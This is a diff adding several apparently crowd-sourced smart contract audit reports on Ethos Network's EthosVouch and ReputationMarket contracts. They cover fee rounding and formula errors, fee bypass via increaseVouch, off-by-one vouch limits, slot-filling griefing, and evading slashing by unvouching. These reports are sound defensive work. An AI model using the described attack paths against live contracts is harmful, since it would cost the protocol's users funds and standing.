+https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L510 +And in `_calculateBuy`, it will call `previewFee` to calc protocol fee, and pass `msg.value` as amount. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L960 +```solidity + function previewFees( + uint256 amount, + bool isEntry + ) private view returns (uint256 funds, uint256 protocolFee, uint256 donation) { + if (isEntry) { + protocolFee = (amount * entryProtocolFeeBasisPoints) / BASIS_POINTS_BASE; + donation = (amount * donationBasisPoints) / BASIS_POINTS_BASE; + } else { + protocolFee = (amount * exitProtocolFeeBasisPoints) / BASIS_POINTS_BASE; + } + funds = amount - protocolFee - donation; + } +``` +Actually, not all the `msg.value` is used to buy votes, part of `msg.value` will be refund. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/ReputationMarket.sol#L477 +The refund amount should not be charged a protocol fee.So the protocol charges an excessive protocol fee due to not excluding the refund amount.This issue is not by design according to the protocol team. + +For example: +```solidity +With 0.2 ETH sent: +1. First vote costs 0.0999 ETH +2. Fees on full amount (0.2 ETH): + - Protocol fee (5%): 0.01 ETH + - Donation (5%): 0.01 ETH + Total fees: 0.02 ETH + +Funds available after fees = 0.18 ETH +First vote uses 0.0999 ETH +Remaining = 0.0801 ETH (gets refunded) +The protocol charged fees on the full 0.2 ETH but should have only charged on 0.0999 ETH +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +The protocol charges more protocol fee. + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/123.md b/123.md new file mode 100644 index 0000000..63cc7e8 --- /dev/null +++ b/123.md @@ -0,0 +1,100 @@ +Jumpy Pearl Falcon + +High + +# Users can bypass a significant amount of fees via `increaseVouch()` + +### Summary + +A sly user can bypass a significant amount of fees by instead of doing a single vouch for a subject profile id, he can split it into two steps, doing a partial vouch in the first, and doing the remaining vouch through `increaseVouch()` to get back a portion of the first vouch fee. + +### Root Cause + +Similar to `vouchByProfileId()`, the `increaseVouch()` function also uses the internal `applyFees()` function to perform the calculation and charge fee. Inside the `applyFees()` function, it calls the internal `_rewardPreviousVouchers()` function to perform the reward distribution to the early vouch authors of a given subject profile id. However, in the logic of this `_rewardPreviousVouchers()` function, there is no check to remove the previous vouch of `msg.sender` from `totalBalance` calculation and distribute rewards process, which results in the author receiving a reward for his previous vouch when performing increase vouch. +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/903834fe8e2fbb8ac3d2af9fe3c8b45dfcb65ced/ethos/packages/contracts/contracts/EthosVouch.sol#L709 +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/903834fe8e2fbb8ac3d2af9fe3c8b45dfcb65ced/ethos/packages/contracts/contracts/EthosVouch.sol#L723 +`_rewardPreviousVouchers` function: +```solidity + function _rewardPreviousVouchers( + uint256 amount, + uint256 subjectProfileId + ) internal returns (uint256 amountDistributed) { + uint256[] storage vouchIds = vouchIdsForSubjectProfileId[subjectProfileId]; + uint256 totalVouches = vouchIds.length; + + // Calculate total balance of all active vouches + uint256 totalBalance; + for (uint256 i = 0; i < totalVouches; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + // Only include active (not archived) vouches in the distribution + if (!vouch.archived) { // <- Auditor: Need to check the vouch's author + totalBalance += vouch.balance; + } + } + + // If this is the first voucher, do not distribute rewards + if (totalBalance == 0) { + return totalBalance; + } + + // Distribute rewards proportionally + uint256 remainingRewards = amount; + for (uint256 i = 0; i < totalVouches && remainingRewards > 0; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + if (!vouch.archived) { // <- Auditor: Need to check the vouch's author + // Calculate this vouch's share of the rewards + uint256 reward = amount.mulDiv(vouch.balance, totalBalance, Math.Rounding.Floor); + if (reward > 0) { + vouch.balance += reward; + remainingRewards -= reward; + } + } + } + + // Send any dust (remaining rewards due to rounding) to the subject reward escrow + if (remainingRewards > 0) { + _depositRewards(remainingRewards, subjectProfileId); + } + + return amount; + } +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +For simple calculation, let's assume that: +- Currently there is only author A as the vouch author of subject B. +- Protocol fee point = donation fee point = 2.5%, vouchPool fee point = 5% + +**Scene 1:** A vouches 10 ETH for B, +- protocol fee = donation fee = 0.25 ETH, vouchPool fee = 0.5 ETH => **total fee = 1 ETH** +- actually deposit = 9 ETH + +**Scene 2:** +- Step 1: A vouches 5 ETH for B, +protocol fee = donation fee = 0.125 ETH, vouchPool fee = 0.25 ETH +actually deposit = 4.5 ETH +- Step 2: After that he vouches 2nd (not calls vouch function, calls `increaseVouch` function) with 5 ETH for B, +protocol fee = donation fee = 0.125 ETH, vouchPool fee = 0.25 ETH +actually deposit = 4.5 ETH => total actually deposit = 9 ETH (equal to actually deposit in Scene 1) +But A will receive all 0.25 ETH from vouchPool for the previous vouching time => **total fee = 0.75 ETH** => **bypass 0.25 ETH fee** + +### Impact + +Allowing users to bypass a portion of fee via the `increaseVouch()` action will reduce the actual reward of other users, causing implicit financial losses to other users. As confirmed by the Ethos technical dev team, this is a flaw and needs to be addressed to ensure fairness in fee and reward distribution. + +### PoC + +_No response_ + +### Mitigation + +Check and exclude the address of the vouch/increaseVouch author from the calculation of the `_rewardPreviousVouchers` function. \ No newline at end of file diff --git a/124.md b/124.md new file mode 100644 index 0000000..adc4aaa --- /dev/null +++ b/124.md @@ -0,0 +1,68 @@ +Thankful Holographic Wren + +Medium + +# Incorrect Condition on `maximumVouches` in `vouchByProfileId` Function + +### Summary + +The `EthosVouch.sol` smart contract contains a logic flaw in the `vouchByProfileId` function where the condition checking for the maximum number of vouches uses `>=` instead of `>`. This results in an effective cap of `maximumVouches - 1` vouches, rather than the expected `maximumVouches`. This discrepancy may lead to user confusion and restricts the intended functionality of the contract. + +### Root Cause + +The conditional check in the function: https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L345-L351 + +```Solidity + // users can't exceed the maximum number of vouches +if (vouchIdsByAuthor[authorProfileId].length >= maximumVouches) { + revert MaximumVouchesExceeded( + vouchIdsByAuthor[authorProfileId].length, + "Exceeds author vouch limit" + ); +} +``` +is incorrectly implemented. The use of `>=` causes the function to revert when the count equals `maximumVouches`, effectively lowering the allowed limit by 1. + +### Internal pre-conditions + +* The variable `maximumVouches` is set to a desired limit (e.g., 256). +* The `vouchByProfileId` function is invoked. + +### External pre-conditions + +* A user or contract interacts with the `vouchByProfileId` function to add a vouch. +* The `vouchIdsByAuthor[authorProfileId]` array's length approaches the value of `maximumVouches`. + +### Attack Path + +While this issue is not an exploit that compromises security, it could lead to operational restrictions: + +* A user attempts to add the maximum number of allowed vouches (maximumVouches). +* The function reverts due to the flawed condition, even though adding the maximumVouches-th entry should be valid. +* Users are unable to fully utilize the allowed number of vouches, resulting in user dissatisfaction or misaligned behavior with system expectations. + +### Impact + +* The flaw impacts the functionality of the smart contract and user experience but does not directly expose the contract to exploits or loss of funds. +* Users are restricted to `maximumVouches - 1` entries instead of the intended `maximumVouches`. +* Misalignment between expected and actual behavior could reduce trust in the system. + +### PoC + +* Assume `maximumVouches = 256`. +* A user has successfully added 255 vouches (`vouchIdsByAuthor[authorProfileId].length == 255`). +* They attempt to add one more vouch. +* Expected: The addition succeeds, resulting in 256 vouches. +* Actual: The function reverts with the `MaximumVouchesExceeded` error because the condition `>=` maximumVouches evaluates to true when length `== 256`. + +### Mitigation + +Update the code to : +```Solidity +if (vouchIdsByAuthor[authorProfileId].length > maximumVouches) { + revert MaximumVouchesExceeded( + vouchIdsByAuthor[authorProfileId].length, + "Exceeds author vouch limit" + ); +} +``` \ No newline at end of file diff --git a/125.md b/125.md new file mode 100644 index 0000000..ff7d087 --- /dev/null +++ b/125.md @@ -0,0 +1,62 @@ +Overt Alabaster Cottonmouth + +Medium + +# `marketConfigIndex` may change on addition & deletion from `marketConfigs[]` array and hence `createMarket()` may not invoke the default market configuration + +## Description & Impact +[createMarket()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L268-L274) is expected to create a market with default config by internally using config at index 0: +```js + File: ethos/packages/contracts/contracts/ReputationMarket.sol + + 268: /** + 269: * @notice Creates a new reputation market for a profile using the default market configuration + 270: * @dev This is a convenience function that calls createMarketWithConfig with index 0 + 271: */ + 272: function createMarket() public payable whenNotPaused { + 273:@---> createMarketWithConfig(0); + 274: } +``` + +However admin could've called `removeMarketConfig(0)` at any point of time which would cause index 0 to be populated with the `Premier` config which used to be at index 2. This is because `removeMarketConfig()` replaces the array element with the last array item and then calls `array.pop()`. The admin could then even go further and call [addMarketConfig()](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/ReputationMarket.sol#L354-L360) to add a new `default` config which gets added at index 2. +```js + 385: /** + 386: * @dev Removes a market configuration option while maintaining at least one config + 387: * @param configIndex The index of the config to remove + 388: */ + 389: function removeMarketConfig(uint256 configIndex) public onlyAdmin whenNotPaused { + 390: // Cannot remove if only one config remains + 391: if (marketConfigs.length <= 1) { + 392: revert InvalidMarketConfigOption("Must keep one config"); + 393: } + 394: + 395: // Check if the index is valid + 396: if (configIndex >= marketConfigs.length) { + 397: revert InvalidMarketConfigOption("index not found"); + 398: } + 399: + 400: emit MarketConfigRemoved(configIndex, marketConfigs[configIndex]); + 401: + 402:@---> // If this is not the last element, swap with the last element + 403: uint256 lastIndex = marketConfigs.length - 1; + 404: if (configIndex != lastIndex) { + 405: marketConfigs[configIndex] = marketConfigs[lastIndex]; + 406: } + 407: + 408: // Remove the last element + 409: marketConfigs.pop(); + 410: } +``` + +All in all, indices can't be trusted for these calls and may result in a market to be created with incorrect configurations. + +## Mitigation +Always store the current updated index of the default config in another variable say `defaultMarketConfigIndex` and use that inside `createMarket()`: +```diff + function createMarket() public payable whenNotPaused { +- createMarketWithConfig(0); ++ createMarketWithConfig(defaultMarketConfigIndex); + } +``` + +For other function calls too, it might be a good idea to not trust indices and rather assign a unique or identifier to each config which can be referenced. \ No newline at end of file diff --git a/126.md b/126.md new file mode 100644 index 0000000..bfe87b2 --- /dev/null +++ b/126.md @@ -0,0 +1,65 @@ +Thankful Holographic Wren + +Medium + +# Incorrect Conditional Check for Subject Profile Vouch Limit + +### Summary + +The `EthosVouch.sol` smart contract enforces a `maximumVouches` limit for subject profiles by checking if the length of the `vouchIdsForSubjectProfileId[subjectProfileId]` array is greater than or equal to (`>=`) `maximumVouches`. This check reverts when the limit is exactly reached, effectively lowering the allowable vouches by 1. The correct behavior should allow exactly `maximumVouches` entries, requiring the conditional to use `>` instead of `>=`. + +### Root Cause + +The conditional logic in the `vouchByProfileId` function incorrectly uses the `>=` operator, which unnecessarily restricts the number of vouches to `maximumVouches - 1` instead of allowing up to `maximumVouches`. https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L371-L377 + +```Solidity + // don't exceed maximum vouches per subject profile + if (vouchIdsForSubjectProfileId[subjectProfileId].length >= maximumVouches) { + revert MaximumVouchesExceeded( + vouchIdsForSubjectProfileId[subjectProfileId].length, + "Exceeds subject vouch limit" + ); + } +``` + +### Internal pre-conditions + +* The `vouchIdsForSubjectProfileId` array tracks all vouches for a given `subjectProfileId`. +* The `maximumVouches` variable sets the intended upper limit for vouches. + +### External pre-conditions + +* The contract function `vouchByProfileId` is invoked, attempting to add a vouch for a `subjectProfileId`. +* The array `vouchIdsForSubjectProfileId[subjectProfileId]` has a length equal to `maximumVouches`. + +### Attack Path + +This issue is not directly exploitable for malicious purposes but leads to an unintentional denial of service for users intending to add the maximum allowable vouches. + +* A user adds vouches for a subject profile until the length of `vouchIdsForSubjectProfileId[subjectProfileId]` reaches `maximumVouches`. +* The function reverts on the final allowable vouch instead of allowing it, causing a poor user experience. + +### Impact + +* Functional Impact: The smart contract unintentionally limits vouches to `maximumVouches - 1` for subject profiles, deviating from expected behavior. +* User Impact: Users are unable to fully utilize the vouch limit, leading to confusion and potential dissatisfaction. + +### PoC + +* Deploy the contract with `maximumVouches` set to 5. +* Add 5 vouches for a `subjectProfileId`. +* The 5th addition reverts unexpectedly. +* Observe that the condition fails even when attempting to meet the exact limit. + +### Mitigation + +Update the conditional check to correctly enforce the intended limit: + +```Solidity +if (vouchIdsForSubjectProfileId[subjectProfileId].length > maximumVouches) { + revert MaximumVouchesExceeded( + vouchIdsForSubjectProfileId[subjectProfileId].length, + "Exceeds subject vouch limit" + ); +} +``` \ No newline at end of file diff --git a/127.md b/127.md new file mode 100644 index 0000000..7dad3f8 --- /dev/null +++ b/127.md @@ -0,0 +1,74 @@ +Spare Sangria Rooster + +High + +# calcFee should use Ceil instead of Floor + +### Summary + +`calcFee` tries to calculate fee using the equivalent formula: `fee = (amount + fee) - amount`. + +Fees are usually rounded down (floor) to prevent taking higher fees than intended, however since in this case we are subtracting the amount_without_fee, it needs to be rounded up. + +Eg if amount_without_fee is 60, and MAX fee is 4%, thus `fee = 60*0.04 = 2.4`, we round it down to 2, and get total of `amount_with_fee = 62`. + +When we calculate it backwards using calcFee(62, 4%), we should get back 2, instead we get `62 - floor(62/1.04) = 62 - floor(59.6) = 3`. + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L988 + +```solidity +function calcFee(uint256 total, uint256 feeBasisPoints) internal pure returns (uint256 fee) { +/* + * Formula derivation: + * 1. total = deposit + fee + * 2. fee = deposit * (feeBasisPoints/10000) + * 3. total = deposit + deposit * (feeBasisPoints/10000) + * 4. total = deposit * (1 + feeBasisPoints/10000) + * 5. deposit = total / (1 + feeBasisPoints/10000) + * 6. fee = total - deposit + * 7. fee = total - (total * 10000 / (10000 + feeBasisPoints)) + */ +return + total - + (total.mulDiv(BASIS_POINT_SCALE, (BASIS_POINT_SCALE + feeBasisPoints), Math.Rounding.Floor)); +} + +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +- Users pay higher fees than intended/advertised. In above example fee_value is 3 instead of 2, the difference is higher than 1% of original amount 60*1% = 0.6. [HIGH] +- Possibly invalidates max fees invariant. + +### PoC + +```javascript +// -> Edit EthosVouch.sol.calcFee to make it `public` +// -> EthosVouch.test.ts +// -> NODE_OPTIONS='--no-warnings=ExperimentalWarning --experimental-loader ts-node/esm/transpile-only' npx hardhat test --grep "EthosVouch" + +describe.only("wrongCalc", function (){ + it("", async function () { + const { ethosVouch } = await loadFixture(deployFixture); + console.log(await ethosVouch.calcFee(62, 400)); // 3n + }); +}); +``` + +### Mitigation + +Use Math.Rounding.Ceil. \ No newline at end of file diff --git a/128.md b/128.md new file mode 100644 index 0000000..72c22dd --- /dev/null +++ b/128.md @@ -0,0 +1,42 @@ +Spare Sangria Rooster + +Medium + +# Max total fees are 100% instead of 10% + +### Summary + +As stated in README, contracts intended max total fees is 10%, however MAX_TOTAL_FEES is a hardcoded constant of 100%. + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L120 + +```solidity +uint256 public constant MAX_TOTAL_FEES = 10000; + +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +_No response_ + +### Impact + +Breaks max total fees design/invariant/safeguards for end users. + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/129.md b/129.md new file mode 100644 index 0000000..12d143e --- /dev/null +++ b/129.md @@ -0,0 +1,67 @@ +Original Boysenberry Hare + +Medium + +# Incorrect Fee Calculation Results in Vouchers, Vouchees, and the Protocol Receiving Fewer Fees Than Expected, Undermining Incentives for Vouching + +## Description + +**Context:** Whenever users [vouch](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L324-L415) for a profile, the [protocol takes a fee](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L941-L943), The vouchee [receives a donation fee](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L944-L946), and previous vouchers who have vouched for the same profile [receive a share of the fee](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L947-L950). Additionally, when a user [unvouches](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L448-L481) and withdraws their vouched amount, an [exit fee is applied and sent to the protocol](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L957-L959). + +Currently, the [fee formula](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L967-L989) used in the `EthosVouch` contract to calculate the protocol fee, vouchee donation fee, and previous vouchers fee is as follows: + +```javascript + total - ((total * BASIS_POINT_SCALE) / (BASIS_POINT_SCALE + feeBasisPoints)) +``` + +The use of this formula results in the protocol, the vouchee, and the previous vouchers of a vouchee receiving fewer fees than expected. Here's an example calculation: + +Lets say the `total` amount being vouched is `1e18`, and `feeBasisPoints` is `50%`. The correct fee calculation should yield `5e17`. However, using the current formula in the `EthosVouch` contract: + +```javascript + // BASIS_POINT_SCALE = 10000 + // 50% in basis points = 5000 + // Expected output = 5e17 + 1e18 - ((1e18 * 10000) / (10000 + 5000)) = 333333333333333333 // 3e17 +``` + +As shown above, the formula results in the protocol, vouchee, and previous vouchers receiving less than the intended fees. This discrepancy can lead to three issues: + +1. The Ethos Protocol earns less revenue, impacting its viability as a Web3 business. +2. Users are less incentivized to vouch for others due to reduced rewards. +3. The vouchee (the profile being vouched for) receives fewer donation fees than expected. + +## Impact + +**Damage:** MED + +**Likelihood:** HIGH + +**Details:** The use of an incorrect fee formula results in the Ethos Network Protocol earning less revenue, disincentivizes users from vouching for others, and causes vouchees to earn less reward (donation fee) despite being perceived as a profile that users can trust. + +## Proof of Concept + +**Attack Path:** + +1. When a user [vouches](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L324-L415) for a profile, the [protocol, previous vouchers, and vouchee receive fewer fees](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L935-L950) than expected +2. When a user [unvouches](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L448-L481), the [protocol receives less exit fee](https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/57c02df7c56f0b18c681a89ebccc28c86c72d8d8/ethos/packages/contracts/contracts/EthosVouch.sol#L954-L959) than expected + +**POC:** + +- Not Needed + +## Recommended Mitigation + +Replace the fee calculation formula with the following: + +```javascript + total * feebasispoint / 10000 +``` + +Using this formula, if we calculate `50% of 1e18`, the result will be: + +```javascript + 1e18 * 5000 / 10000 = 500000000000000000 // 5e17 +``` + +This formula produces the correct output and ensures proper fee distribution. \ No newline at end of file diff --git a/130.md b/130.md new file mode 100644 index 0000000..ba4f0c2 --- /dev/null +++ b/130.md @@ -0,0 +1,50 @@ +Spare Sangria Rooster + +High + +# Malicious actor can fill all 256 vouch slots of profile with minimum vouch amounts + +### Summary + +Devs chose to limit number of vouches to 256 due to `constraints imposed by gas limits.` However this choice opens a griefing vulnerability. + +In Ethos the total AMOUNT vouched represents your credibility, thus an attacker can fill all vouching slots with the minimum amount, and limit the credibility of profile owner. + +While admin can increase `configuredMinimumVouchAmount`, this only makes the attack more expensive, while hurting regular users. + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L372 +```solidity +// don't exceed maximum vouches per subject profile +if (vouchIdsForSubjectProfileId[subjectProfileId].length >= maximumVouches) { + revert MaximumVouchesExceeded( + vouchIdsForSubjectProfileId[subjectProfileId].length, + "Exceeds subject vouch limit" + ); +} +``` + +### Internal pre-conditions + +Attacker needs to create/self invite 256 accounts. Highly likely since social networks have millions of users. + +### External pre-conditions + +_No response_ + +### Attack Path + +Vouch 256 times with minimum amount from different addresses. Assuming default min vouch amount of `0.0001 eth`, attack would cost ~ `0.0256 eth`. + +### Impact + +Credibility of victim is limited by attacker. + +### PoC + +_No response_ + +### Mitigation + +_No response_ \ No newline at end of file diff --git a/131.md b/131.md new file mode 100644 index 0000000..40ac826 --- /dev/null +++ b/131.md @@ -0,0 +1,69 @@ +Spare Sangria Rooster + +High + +# Vouchers can unvouch to avoid slashing + +### Summary + +`slash()` skips `archived` (unvouched; which by that time will have balance = 0) vouches. Slashing event occurs some time after a whistleblower reports/pledges unethical behavior, a malicious author will have plenty of time to unvouch his funds if he knows he is likely to be slashed. + +### Root Cause + +https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L452 + +```solidity +function unvouch(uint256 vouchId) public whenNotPaused nonReentrant { +... + +@> v.archived = true; +.. +@> v.balance = 0; +... +} + + +function slash( +uint256 authorProfileId, +uint256 slashBasisPoints +) external onlySlasher whenNotPaused nonReentrant returns (uint256) { +... +// Only slash active vouches +@> if (!vouch.archived) { + uint256 slashAmount = vouch.balance.mulDiv( + slashBasisPoints, + BASIS_POINT_SCALE, + Math.Rounding.Floor + ); + if (slashAmount > 0) { + vouch.balance -= slashAmount; + totalSlashed += slashAmount; + } +} +... + +``` + +### Internal pre-conditions + +_No response_ + +### External pre-conditions + +_No response_ + +### Attack Path + +Wait for accusation, unvouch. + +### Impact + +Malicious users can avoid slashing penalty by paying the exit fee, whistleblowers won't get their reward. + +### PoC + +_No response_ + +### Mitigation + +Unvouch can be timelocked, and activated only after enough time has passed/no pending accusations. \ No newline at end of file diff --git a/132.md b/132.md new file mode 100644 index 0000000..65851d6 --- /dev/null +++ b/132.md @@ -0,0 +1,156 @@ +Thankful Holographic Wren + +Medium + +# Voucher Pool Fee Exploit via Minimal Initial Contribution + +### Summary + +The design of the fee distribution mechanism for `voucherPoolFee` allows users to gain a disproportionate benefit by creating an initial minimal vouch and then increasing the amount later. This manipulation undermines the fairness of the fee distribution model and can lead to an inequitable allocation of rewards. + + + +### Root Cause + +The exploit arises from the fact that the user becomes eligible for a share of the `voucherPoolFee` as soon as they create a vouch, regardless of its size. By first contributing a minimal amount, they avoid contributing a substantial fee while still qualifying for a share of subsequent distributions. + +User calls `vouchByProfileId` function at https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L330C12-L330C28 + +Note that this function fetches `toDeposit` by calling the `applyFee` function internally at https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L384 + +```Solidity + (uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId); +``` + +So, the `applyFees` function is called at https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L929 + +```Solidity + function applyFees( + uint256 amount, + bool isEntry, + uint256 subjectProfileId + ) internal returns (uint256 toDeposit, uint256 totalFees) { + if (isEntry) { + // Calculate entry fees + uint256 protocolFee = calcFee(amount, entryProtocolFeeBasisPoints); + uint256 donationFee = calcFee(amount, entryDonationFeeBasisPoints); + uint256 vouchersPoolFee = calcFee(amount, entryVouchersPoolFeeBasisPoints); + + // Distribute fees + if (protocolFee > 0) { + _depositProtocolFee(protocolFee); + } + if (donationFee > 0) { + _depositRewards(donationFee, subjectProfileId); + } + if (vouchersPoolFee > 0) { + // update the voucher pool fee to the amount actually distributed + vouchersPoolFee = _rewardPreviousVouchers(vouchersPoolFee, subjectProfileId); + } + totalFees = protocolFee + donationFee + vouchersPoolFee; + toDeposit = amount - totalFees; + } else { + // Calculate and apply exit fee + uint256 exitFee = calcFee(amount, exitFeeBasisPoints); + + if (exitFee > 0) { + _depositProtocolFee(exitFee); + } + totalFees = exitFee; + toDeposit = amount - exitFee; + } + + return (toDeposit, totalFees); + } +``` + +So, there are three types of fees at entry : `protocolFee`, `donationFee`, and `vouchersPoolFee`. +`protocolFee` goes to the protocol. +`donationFee` goes to the `subjectProfileId`. +`vouchersPoolFee` goes to the previous vouchers by calling `_rewardPreviousVouchers`. + +`_rewardPreviousVouchers` is called at https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L697 + +```Solidity + function _rewardPreviousVouchers( + uint256 amount, + uint256 subjectProfileId + ) internal returns (uint256 amountDistributed) { + uint256[] storage vouchIds = vouchIdsForSubjectProfileId[subjectProfileId]; + uint256 totalVouches = vouchIds.length; + + // Calculate total balance of all active vouches + uint256 totalBalance; + for (uint256 i = 0; i < totalVouches; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + // Only include active (not archived) vouches in the distribution + if (!vouch.archived) { + totalBalance += vouch.balance; + } + } + + // If this is the first voucher, do not distribute rewards + if (totalBalance == 0) { + return totalBalance; + } + + // Distribute rewards proportionally + uint256 remainingRewards = amount; + for (uint256 i = 0; i < totalVouches && remainingRewards > 0; i++) { + Vouch storage vouch = vouches[vouchIds[i]]; + if (!vouch.archived) { + // Calculate this vouch's share of the rewards + uint256 reward = amount.mulDiv(vouch.balance, totalBalance, Math.Rounding.Floor); + if (reward > 0) { + vouch.balance += reward; + remainingRewards -= reward; + } + } + } +``` +So, the `voucherPoolFee` is distributed proportionally to all other already existing vouches in that pool. + +After successfully transferring all the fees, the `vouchByProfileId` finally successfully finishes execution by updating all the mappings and structs. So, now the vouch is created for that user. + +However, now if that user calls the `increaseVouch` function at https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426 , +again all these fees are applied at https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L440 + +```Solidity + (uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId); +``` + +However, this time the user saves some ETH as `_rewardPreviousVouchers` distributes some ETH to this user also. + +### Internal pre-conditions + +* `vouchByProfileId` adds the user's vouch to the pool. +* `voucherPoolFee` is distributed to all active vouches, including those with minimal balances on calling `increaseVouch` function + +### External pre-conditions + +* The user creates an initial vouch with a minimal contribution (e.g., 0.0001 ETH). +* The user subsequently increases their vouch amount through `increaseVouch` to a significant value. + +### Attack Path + +* The attacker creates a vouch with the minimum allowed ETH (e.g., 0.0001 ETH). +* This vouch makes the user eligible for rewards distributed through voucherPoolFee. +* The attacker increases their vouch amount significantly (e.g., 2 ETH). +* The attacker benefits from the `voucherPoolFee` without contributing proportionally, saving ETH. + +### Impact + +* The attacker avoids a portion of the `voucherPoolFee` while still benefiting from its distribution. +* Other participants in the vouch pool receive less than their fair share of rewards, undermining trust in the system. + +### PoC + +* `EthosVouch.sol` contract is deployed with a `voucherPoolFeeBasisPoints` set to a realistic percentage. +* Create a vouch with 0.0001 ETH (whatever minimal ETH allowed). +* Verify that the user is now part of the vouch pool. +* Now call `increaseVouch` function. +* Observe that the user receives a share of the `voucherPoolFee` from their own significant contribution. + +### Mitigation + +Update the `_rewardPreviousVouchers` function for proper and proportional distribution of `voucherPoolFee` \ No newline at end of file diff --git a/133.md b/133.md new file mode 100644 index 0000000..4e7846a --- /dev/null +++ b/133.md @@ -0,0 +1,84 @@ +Thankful Holographic Wren + +Medium + +# Missing `whenNotPaused` Modifier in `increaseVouch` Function in `EthosVouch.sol` + +### Summary + +The `increaseVouch` function does not include the `whenNotPaused` modifier, unlike other crucial functions in the smart contract. This omission allows users to call `increaseVouch` even when the contract is paused due to an emergency or attack. This could lead to further damage or misuse during such critical situations. + +### Root Cause + +The absence of the `whenNotPaused` modifier on the `increaseVouch` function bypasses the intended control mechanism designed to protect the contract during emergencies. + +We can see that `increaseVouch` is an important function: https://github.com/sherlock-audit/2024-11-ethos-network-ii/blob/main/ethos/packages/contracts/contracts/EthosVouch.sol#L426-L444 + +```Solidity + function increaseVouch(uint256 vouchId) public payable nonReentrant { + // vouch increases much also meet the minimum vouch amount + if (msg.value < configuredMinimumVouchAmount) { + revert MinimumVouchAmount(configuredMinimumVouchAmount); + } + // get the profile id of the author + uint256 profileId = IEthosProfile( + contractAddressManager.getContractAddressForName(ETHOS_PROFILE) + ).verifiedProfileIdForAddress(msg.sender); + _vouchShouldBelongToAuthor(vouchId, profileId); + // make sure this vouch is active; not unvouched + _vouchShouldBePossibleUnvouch(vouchId); + + uint256 subjectProfileId = vouches[vouchId].subjectProfileId; + (uint256 toDeposit, ) = applyFees(msg.value, true, subjectProfileId); + vouches[vouchId].balance += toDeposit; + + emit VouchIncreased(vouchId, profileId, 